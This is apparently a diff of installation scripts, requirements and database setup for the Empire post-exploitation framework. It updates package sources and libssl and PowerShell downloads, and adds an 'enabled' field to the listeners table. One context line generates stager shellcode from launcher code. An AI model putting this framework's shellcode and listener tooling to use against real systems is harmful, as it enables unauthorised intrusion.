||||||
|
shellcode = self.mainMenu.stagers.generate_shellcode(launcherCode, arch)
|
||||||
|
|
||||||
|
return shellcode
|
|
@ -19,7 +19,7 @@ function install_powershell() {
|
||||||
# Import the public repository GPG keys
|
# Import the public repository GPG keys
|
||||||
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
||||||
# Register the Microsoft Product feed
|
# Register the Microsoft Product feed
|
||||||
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-jessie-prod jessie main" > /etc/apt/sources.list.d/microsoft.list'
|
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
|
||||||
# Update the list of products
|
# Update the list of products
|
||||||
sudo apt-get update
|
sudo apt-get update
|
||||||
# Install PowerShell
|
# Install PowerShell
|
||||||
|
@ -33,7 +33,7 @@ function install_powershell() {
|
||||||
# Import the public repository GPG keys
|
# Import the public repository GPG keys
|
||||||
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
||||||
# Register the Microsoft Product feed
|
# Register the Microsoft Product feed
|
||||||
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
|
sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-jessie-prod jessie main" > /etc/apt/sources.list.d/microsoft.list'
|
||||||
# Update the list of products
|
# Update the list of products
|
||||||
sudo apt-get update
|
sudo apt-get update
|
||||||
# Install PowerShell
|
# Install PowerShell
|
||||||
|
@ -85,10 +85,12 @@ function install_powershell() {
|
||||||
if cat /etc/lsb-release | grep -i 'Kali'; then
|
if cat /etc/lsb-release | grep -i 'Kali'; then
|
||||||
# Install prerequisites
|
# Install prerequisites
|
||||||
apt-get install libunwind8 libicu55
|
apt-get install libunwind8 libicu55
|
||||||
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
|
||||||
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
|
||||||
# Install PowerShell
|
# Install PowerShell
|
||||||
dpkg -i powershell_6.0.0-rc.2-1.ubuntu.16.04_amd64.deb
|
wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0/powershell_6.0.0-1.ubuntu.16.04_amd64.deb
|
||||||
|
dpkg -i powershell_6.0.0-1.ubuntu.16.04_amd64.deb
|
||||||
|
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
||||||
|
@ -133,7 +135,9 @@ else
|
||||||
sudo pip install -r requirements.txt
|
sudo pip install -r requirements.txt
|
||||||
elif lsb_release -d | grep -q "Kali"; then
|
elif lsb_release -d | grep -q "Kali"; then
|
||||||
Release=Kali
|
Release=Kali
|
||||||
sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev build-essential libssl1.0-dev libxml2-dev zlib1g-dev
|
wget http://ftp.us.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
|
||||||
|
dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
|
||||||
|
sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk zlib1g-dev libssl1.0-dev build-essential libssl1.0-dev libxml2-dev zlib1g-dev
|
||||||
pip install --upgrade pip
|
pip install --upgrade pip
|
||||||
sudo pip install -r requirements.txt
|
sudo pip install -r requirements.txt
|
||||||
install_powershell
|
install_powershell
|
||||||
|
@ -170,7 +174,7 @@ fi
|
||||||
chmod 755 bomutils/build/bin/mkbom && sudo cp bomutils/build/bin/mkbom /usr/local/bin/.
|
chmod 755 bomutils/build/bin/mkbom && sudo cp bomutils/build/bin/mkbom /usr/local/bin/.
|
||||||
|
|
||||||
# set up the database schema
|
# set up the database schema
|
||||||
./setup_database.py
|
python ./setup_database.py
|
||||||
|
|
||||||
# generate a cert
|
# generate a cert
|
||||||
./cert.sh
|
./cert.sh
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
urllib3
|
urllib3>=1.21.1
|
||||||
|
requests==2.18.4
|
||||||
setuptools
|
setuptools
|
||||||
iptools
|
iptools
|
||||||
pydispatcher
|
pydispatcher
|
||||||
|
@ -13,3 +14,5 @@ M2Crypto
|
||||||
jinja2
|
jinja2
|
||||||
cryptography
|
cryptography
|
||||||
pyminifier==2.1
|
pyminifier==2.1
|
||||||
|
xlutils
|
||||||
|
pycrypto
|
||||||
|
|
|
@ -18,7 +18,7 @@ then
|
||||||
rm ../data/empire.db
|
rm ../data/empire.db
|
||||||
fi
|
fi
|
||||||
|
|
||||||
./setup_database.py
|
python ./setup_database.py
|
||||||
cd ..
|
cd ..
|
||||||
|
|
||||||
# remove the debug file if it exists
|
# remove the debug file if it exists
|
||||||
|
|
|
@ -127,6 +127,7 @@ c.execute('''CREATE TABLE "listeners" (
|
||||||
"module" text,
|
"module" text,
|
||||||
"listener_type" text,
|
"listener_type" text,
|
||||||
"listener_category" text,
|
"listener_category" text,
|
||||||
|
"enabled" boolean,
|
||||||
"options" blob
|
"options" blob
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue